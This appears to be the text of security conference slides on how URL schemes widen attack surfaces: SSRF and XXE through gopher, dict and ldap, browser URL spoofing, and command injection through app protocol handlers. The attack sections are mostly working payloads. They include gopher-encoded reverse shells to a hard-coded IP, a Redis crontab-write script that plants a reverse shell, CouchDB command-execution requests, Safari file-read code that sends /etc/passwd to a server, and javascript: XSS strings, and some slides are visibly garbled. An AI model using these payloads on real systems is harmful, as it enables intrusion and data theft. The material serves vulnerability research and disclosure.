Attack Surface Extended by URL Schemes

Author: redrain

Light4freedom Team
PS> whoami

- light4freedom
- Low-level security researcher
- pentester with interest in big guys
- Low-level CVE generator
- http://www.hackdog.me
- http://l4f.club/

rootredrain@gmail.com
Agenda

• URL/URI Scheme
• Server Attack Surface Extension
• Browser Attack Surface Extension
• URL Scheme Render
URL/URI Scheme

URL Scheme ⊆ URI Scheme

• URL is a type of URI

• The part that makes a URI a URL is the inclusion of the access mechanism and network location

scheme://[user:password@]host[:port][/]path[?query][#fragment]

• Getting that URL schemes are usually inevitable in most of the exploits and that the replacement of schemes in URL could result in different outcomes
Interesting vulns

Safari URL Spoof

The browser considers about:// as a valid resource lead to URL Spoof

```html
<html>
<body>
<script>
    function rr(){
        var w=open('about://http://www.apple.com/');
        w.document.body.innerHTML='test';
    }
</script>
<button onclick=rr();>clickme</button>
</body>
</html>
```
Interesting vulns

iOS autodial

```html
<html>
<head>
<title>iOS webview auto dial demo</title>
<meta http-equiv="refresh" content="1; URL=tel:13888888888">
</head>
<body>
<script>
    s = "sms:";
    for (i = 0; i < 10000; i++) {
        s = s + "18888888888";
    }
    function rr () {
        window.location.href = s;
    }
    setTimeout("rr()",1300);
</script>
</body>
</html>
```

rootredrain@gmail.com
# URL schema support for language

<table>
<thead>
<tr>
<th></th>
<th>PHP</th>
<th>Java</th>
<th>curl</th>
<th>Perl</th>
<th>ASP.NET</th>
</tr>
</thead>
<tbody>
<tr>
<td>http</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>https</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>gopher</td>
<td>—with-curlwrappers</td>
<td>before JDK 1.7</td>
<td>before 7.49.0 不支持\x00</td>
<td>✓</td>
<td>before version 3</td>
</tr>
<tr>
<td>tftp</td>
<td>—with-curlwrappers</td>
<td>✓</td>
<td>before 7.49.0 不支持\x00</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>dict</td>
<td>—with-curlwrappers</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>file</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>ftp</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>imap</td>
<td>—with-curlwrappers</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>pop3</td>
<td>—with-curlwrappers</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>rtsp</td>
<td>—with-curlwrappers</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
# URL schema support for language

<table>
<thead>
<tr>
<th></th>
<th>PHP</th>
<th>Java</th>
<th>curl</th>
<th>Perl</th>
<th>ASP.NET</th>
</tr>
</thead>
<tbody>
<tr>
<td>smb</td>
<td>— with-curlwrappers</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>smtp</td>
<td>— with-curlwrappers</td>
<td>✗</td>
<td>✓</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>telnet</td>
<td>— with-curlwrappers</td>
<td>✗</td>
<td>✓</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>ssh2</td>
<td>受限于allow_url_fopen</td>
<td>✗</td>
<td>✗</td>
<td>受限于Net:SSH2</td>
<td>✗</td>
</tr>
<tr>
<td>ogg</td>
<td>受限于allow_url_fopen</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>expect</td>
<td>受限于allow_url_fopen</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>ldap</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✓</td>
<td>✗</td>
</tr>
<tr>
<td>php</td>
<td>✓</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>zlib/bzip2/zip</td>
<td>受限于allow_url_fopen</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
</tbody>
</table>
## URL schema support for browser

<table>
<thead>
<tr>
<th>URL Schema</th>
<th>Chrome</th>
<th>FireFox</th>
<th>Safari</th>
<th>Opera</th>
<th>IE</th>
</tr>
</thead>
<tbody>
<tr>
<td>http</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>https</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>about</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>data</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>res</td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>✓</td>
</tr>
<tr>
<td>file</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>ftp</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>javascript</td>
<td>✓</td>
<td>✓</td>
<td>需开启</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>view-source</td>
<td>✓</td>
<td>✓</td>
<td>before 3.2.1</td>
<td>15 and up</td>
<td>before XP SP2</td>
</tr>
</tbody>
</table>
Firefox data scheme url spoof

data uri scheme syntax:

data:[<media type>][;charset=<character set>][;base64],<data>

Firefox will show all the spaces in the url address bar

<html>
<title>PoC</title>
<a onclick=" location='data:www.facebook.com(lots of%20);text/plain;base64,։᭜ᶭᶎbase64ᖫᎱbase64编码';
return false"href="https://www.facebook.com">facebook</a>
</html>
Firefox data scheme url spoof

rootredrain@gmail.com
URL Scheme Render

Registering an Application to a URI Scheme

\[
\text{scheme://} \Rightarrow <a \ldots \text{href}="\text{scheme://}" > \ldots </a >
\]

App A -> URL Scheme -> App B

RCE? XSS? INFOLEAK?
URL Scheme Render

- iOS / OS X Detection Links

CFBundleURLSchemes in Info.plist
URL Scheme Render

• Android Detection Links

android:scheme in AndroidManifest.xml

```
<intent-filter>
  <action android:name="android.intent.action.VIEW"></action>
  <category android:name="android.intent.category.DEFAULT"></category>
  <category android:name="android.intent.category.BROWSABLE"></category>
    <data
        android:scheme="app"
        android:host="test">
  </data>
</intent-filter>
```
URL Scheme Render

• Windows Detection Links


HKEY_CLASSES_ROOT
alert
    (Default) = "URL:Alert Protocol"
    URL Protocol = ""
    DefaultIcon
        (Default) = "alert.exe,1"
shell
    open
        command
            (Default) = "C:\Program Files\Alert\alert.exe" "%1"
Server Attack Surface Extension

Getting that URL operations are usually inevitable in most of the exploits and that the replacement of schemes in URL could result in different outcomes

SSRF and XXE will show this idea most vividly
SSRF

• SSRF — Server Side Request Forgery attacks

• SSRF can create a evil request to any arbitrary reachable networks
SSRF Extension

SSRF vulnerabilities are base on libcurl
There are all url schemes those libcurl supports

```
curl 7.46.0 (x86_64-apple-darwin15.0.0) libcurl/7.46.0 OpenSSL/1.0.2e zlib/1.2.8
Protocols: dict file ftp ftsp gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: IPV6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
```

<table>
<thead>
<tr>
<th>TCP</th>
<th>Vulnerable Server</th>
<th>Memcached</th>
<th>Fastcgi</th>
<th>Redis</th>
<th>Nagios NRPE</th>
<th>NTP</th>
<th>SNMP</th>
</tr>
</thead>
<tbody>
<tr>
<td>gopher</td>
<td>All(PHP --with- curlwrappers)</td>
<td>All(PHP --with- curlwrappers)</td>
<td>All(PHP --with- curlwrappers)</td>
<td>All(PHP --with- curlwrappers)</td>
<td>All(PHP --with- curlwrappers)</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>http</td>
<td>✔️</td>
<td>✔️</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>dict</td>
<td>x</td>
<td>curl</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>ldap</td>
<td>perl</td>
<td>perl</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>ftp</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>curl, PHP --with- curlwrappers</td>
<td>x</td>
</tr>
</tbody>
</table>

--via SSRF bible

rootredrain@gmail.com
More Wrappers?

• **PHP**

  file:// - Accessing local filesystem
  http:// - Accessing HTTP(s) URLs
  ftp:// - Accessing FTP(s) URLs
  php:// - Accessing various I/O streams
  zlib:// - Compression Streams
  data:// - Data (RFC 2397)
  glob:// - Find pathnames matching pattern
  phar:// - PHP Archive
  ssh2:// - Secure Shell 2
  expect:// - Process Interaction Streams

• **JAVA**

  file ftp gopher http https jar mailto netdoc

rootredrain@gmail.com
Magic Schemes

- **gopher** https://www.ietf.org/rfc/rfc1436.txt

```
gopher://host[: port ]/[gtype/ [selector] ][ ? search ]
```
Magic Schemes

• gopher

POST /rr.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.35.0
Accept: */*
Content-Length: 47
Content-Type: application/x-www-form-urlencoded

rr=bash -i >%26 /dev/tcp/192.168.99.177/2333 0>%261

gopher://127.0.0.1:80/_POST /rr.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*
%0d%0aContent-Length: 49%0d%0aContent-Type:
application/x-www-form-urlencoded%0d%0a%0d%0a
rr=bash -i >%2526 /dev/tcp/192.168.99.177/2333 0>%25261null

rootredrain@gmail.com
• Attack Vuln Web with gopher

```
root@ubuntu:/var/www/html# curl "http://127.0.0.1/vuln.php?url=gopher://127.0.0.1:180/_POST%20/rr.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AUser-Agent:%20curl/7.43.0%0D%0AAccept:*%0D%0AContent-Length:%2049%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0AArr-bash -i >%26 /dev/tcp/192.168.99.177/233 3 0>%261" -vv
curl: /usr/local/lib/libcurl.so.4: no version information available (required by curl)
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /vuln.php?url=gopher://127.0.0.1:180/ HTTP/1.1
< 200 OK
www-data@ubuntu:/var/www/html

redrain@ubuntu:~$ nc -l -vv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [192.168.99.177] port 2333 [tcp/*] accepted (family 2, sport 54858)
www-data@ubuntu:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
• Attack Redis with goper

```bash
redis-cli -h $1 flushall
echo -e "\n*/1 * * * * bash -i >& /dev/tcp/192.168.99.177/2333 0>&1\n
redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/crontabs
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```

rootredrain@gmail.com
• Attack CouchDB with goper

feature or vulnerability?

CouchDB provide some HTTP REST API
https://wiki.apache.org/couchdb/Complete_HTTP_API_Reference

Attacker can exploit these API in Unauthorized access CouchDB

The option `query_Server` in `local.ini` can invoke external program and API document tell us:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance
- Attack CouchDB with gopher

```plaintext
gopher://172.17.0.2:5984/_PUT /_config/query_servers/cmd
HTTP/1.1
Host: 172.17.0.2:5984
User-Agent: curl/7.35.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

/usr/bin/id
```

```plaintext
gopher://172.17.0.2:5984/_PUT /vul
HTTP/1.1
Host: 172.17.0.2:5984
User-Agent: curl/7.51.0
Accept: */*

```

```plaintext
gopher://172.17.0.2:5984/_PUT /vul/_temp_view
HTTP/1.1
Host: 172.17.0.2:5984
User-Agent: curl/7.35.0
Accept: */*
Content-Type: application/json
Content-Length: 27

language: cmd,map
```

rootredrain@gmail.com
• Attack CouchDB with goper
Magick Schemes

- dict
  
dict://hostname:port/command

- ldap
  
ldap://hostname:port/%0a%0dcommand%0a%0dcommand
SSRF Chain
XXE - XML External Entity

- XXE - XML External Entity
- The DTD file is allowed url schemes to be used
- XXE exists in the server and client
## XXE Extension

<table>
<thead>
<tr>
<th></th>
<th>libxml2</th>
<th>PHP</th>
<th>JAVA</th>
<th>.NET</th>
</tr>
</thead>
<tbody>
<tr>
<td>file</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>http</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>ftp</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>php</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>compress.zlib</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>compress.bzip2</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>data</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>glob</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>phar</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>jar</td>
<td>✗</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>netdoc</td>
<td>✗</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>mailto</td>
<td>✗</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
</tr>
<tr>
<td>gopher</td>
<td>✗</td>
<td>✗</td>
<td>✔️</td>
<td>✗</td>
</tr>
</tbody>
</table>

rootredrain@gmail.com
More Wrappers?

- PHP Extension Protocol

<table>
<thead>
<tr>
<th>Scheme</th>
<th>Extension Required</th>
</tr>
</thead>
<tbody>
<tr>
<td>https</td>
<td>openssl</td>
</tr>
<tr>
<td>ftps</td>
<td></td>
</tr>
<tr>
<td>zip</td>
<td>zip</td>
</tr>
<tr>
<td>ssh2.shell</td>
<td>ssh2</td>
</tr>
<tr>
<td>ssh2.exec</td>
<td></td>
</tr>
<tr>
<td>ssh2.tunnel</td>
<td></td>
</tr>
<tr>
<td>ssh2.sftp</td>
<td></td>
</tr>
<tr>
<td>ssh2.scp</td>
<td></td>
</tr>
<tr>
<td>rar</td>
<td>rar</td>
</tr>
<tr>
<td>ogg</td>
<td>oggvorbis</td>
</tr>
<tr>
<td>expect</td>
<td>expect</td>
</tr>
</tbody>
</table>
Browser Attack Surface Extension

scheme: //[user:password@host[:port]][/path]?query[#fragment]
Attack Surface

• Injection

scheme://xxx/?injection

The system calls app to process the input

• Browser private protocol

#@$%^blabla😈😈😈

Everything can be happened here...
Injection

QQGame lead to execute command

```
qqgameprotocol://shortcut/#
URL= [inject here???] &ICON=1111.ico&NAME=AAAAAAAAA
&DESC=BBBBBB&TYPE=1&START=1
```

```
if ( u2 < 0 )
    u2 = 0;

if ( u2 != 0 ) {
    sub_1281840((unsigned __int32 *)&u2, "shortcut", 8u) == 0;
    sub_1281580((unsigned __int32 *)&u2);
}
```

'&'-->' (%26)-->'%20')

rootredrain@gmail.com
Injection

QQGame lead to execute command payload conjecture

qqgameprotocol://shortcut/
URL=c:/windows/system32/calc.exe ICON=1111.ico NAME=AAAAAAAA
DESC=BBBBBB TYPE=1 START=1

if ( v13 )
  v14 = &a1;
if ( _mbsstr((const unsigned __int8 *)&a1, "http://") )
  goto LABEL_43;
v15 = a1;
if ( (unsigned int)a6 < 0x10 )
  v15 = &a1;
if ( _mbsstr((const unsigned __int8 *)&v15, "https://") )
{
  LABEL_43:
    GetTickCount();
  v32 = 15;
  v31 = 0;
  LOBYTE(v30) = 0;
Injec&on
QQGame lead to execute command payload conjecture again

qqgameprotocol://shortcut/
URL=c:/windows/system32/http://../calc.exe
ICON=1111.ico NAME=AAAAAAAA
DESC=BBBBB TYPE=1 START=1

BUT, BUT,

NOOOOOO!!!
Injection

QQGame lead to execute command payload conjecture again again

qggameprotocol://shortcut/#
URL=c:/windows/system32/http://qq.com/../../calc.exe
ICON=1111.ico NAME=AAAAAAAA
DESC=BBBBB TYPE=1 START=1
Injection

QQGame lead to execute command payload conjecture again again again again

qqgameprotocol://shortcut/#
URL=c:/windows/system32/http://qq.com/../../calc.exe
ICON=3366xs.ico NAME=AAAAAAAA
DESC=BBBBBB TYPE=1 START=1

rootredrain@gmail.com
safari help:// scheme Code Execution and Arbitrary File Read

There is an interesting scheme in OS X. `x-help-script://`
We can run AppleScripts from help books, so we could easily create a generic URL launching mechanism this way

```
```

PoC:

```
help:///Applications/Safari.app/Contents/Resources/Safari.help/
%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f.%25252f
/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html
?redirect=javascript%253adocument.write(1);
```
safari help:// scheme Code Execution and Arbitrary File Read

Code Execution

```javascript
var f = document.createElement("iframe");
f.onload = () => {
};
f.src = "help:openbook=com.apple.iTunes.help";
document.documentElement.appendChild(f);
var url = "javascript%3aeval(atob(" + btoa(second.toString()) + "))\nsecond()";
```

Arbitrary File Read

```javascript
function read_file( filename, file_path ) {
    var xhr = new XMLHttpRequest();
    xhr.responseType = "arraybuffer";
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            send_to_server( xhr.response, filename );
        }
    };
    var uri_path = 'file:///etc/passwd';
    xhr.open('GET', uri_path, true);
    xhr.send(null);
}
```

rootredrain@gmail.com
Browser private protocol
chrome://mini_download_frame RCE

`Vendor: 115 Browser`
Browser private protocol
chrome://mini_download_frame
RCE

window.browserInterface.BatchDownloadFilesToLocal(
["http://www.hackdog.me/cmd.exe"],
"test")

rootredrain@gmail.com
Client registered scheme
sourcetree:// Code Execution 0day

The cloneRepo action with 'ext' is base on git-remote-ext, The git team's description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the URL.

PoC:

sourcetree://cloneRepo/ext:[:command injection]
Client registered scheme
sourcetree:// Code Execution 0day

rootredrain@gmail.com
URL Scheme Render

scheme:// => <a ... href="scheme://"> ... </a >

How to call the system protocol javascript:// to execute code

<a href='javascript:alert(1)'>yooo</a>
<a href='javascript://%0a%0dalert(1)'>yooo</a>

App A -> URL Scheme -> App B

XSS,Arbitrary File Read...
CVE-2016-1764

Detection Links will identify a link in the UIWebView

When testing the Messages for OS X client
arbitrary protocols schemes were automatically
converted into links and inserted into the DOM.

javascript://www.hackdog.me/%0a%0dprompt(1)

The characters %0a%0d are use to escape javascript comment `//`

```html
<script>
//www.hackdog.me
prompt(1)
</script>
```

PoC:

```javascript
javascript://www.hackdog.me/%0a%0d28function%28s%29%7B
s.src%3D%27http://example.com%2f1.js%27%3B
document.body.appendChild%28s%29%7D%28%
```

rootredrain@gmail.com
CVE-2016-1764 demo video
Airmail URLScheme render and file:// xss vulnerability

redrain root <rootredrain@gmail.com>  9月6日
发送至  oss-security、 cve-assign、 contact

Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause a file:// xss and arbitrary file read.

Author: redrain, yu.hong@chaitin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15

Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URL scheme render with link detection, any user can edit the email content in reply with the evil code with the TL;DR.

Airmail implements its user interface using an embedded version of WebKit, furthermore Airmail on OS X will render any URI as a clickable HTML <a href= link. An attacker can create a simple JavaScript URI (e.g., javascript:) which when clicked grants the attacker initial JavaScript execution (XSS) in the context of the application DOM.
Airmail URLScheme render and file:// xss vulnerability

PoC:

```
javascript://www.baidu.com/research?%0Aprompt(1)
```

Arbitrary file read:

```
javascript://www.baidu.com/research?
%0Afunction%20reqListener%20()%20%7B%0A
%0A%20prompt(this.responseText)%3B%0A
var%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0A
oReq.addEventListener(%22load%22,reqListener)%3B%0A
oReq.open(%22GET%22,%20%22file%2Fetc%2Fpasswd%22)%3B%0A
oReq.send()%3B
```

rootredrain@gmail.com
Acknowledgement

Chaitin Tech, Inc.

@superhei

Gainover@PKAV
Q&A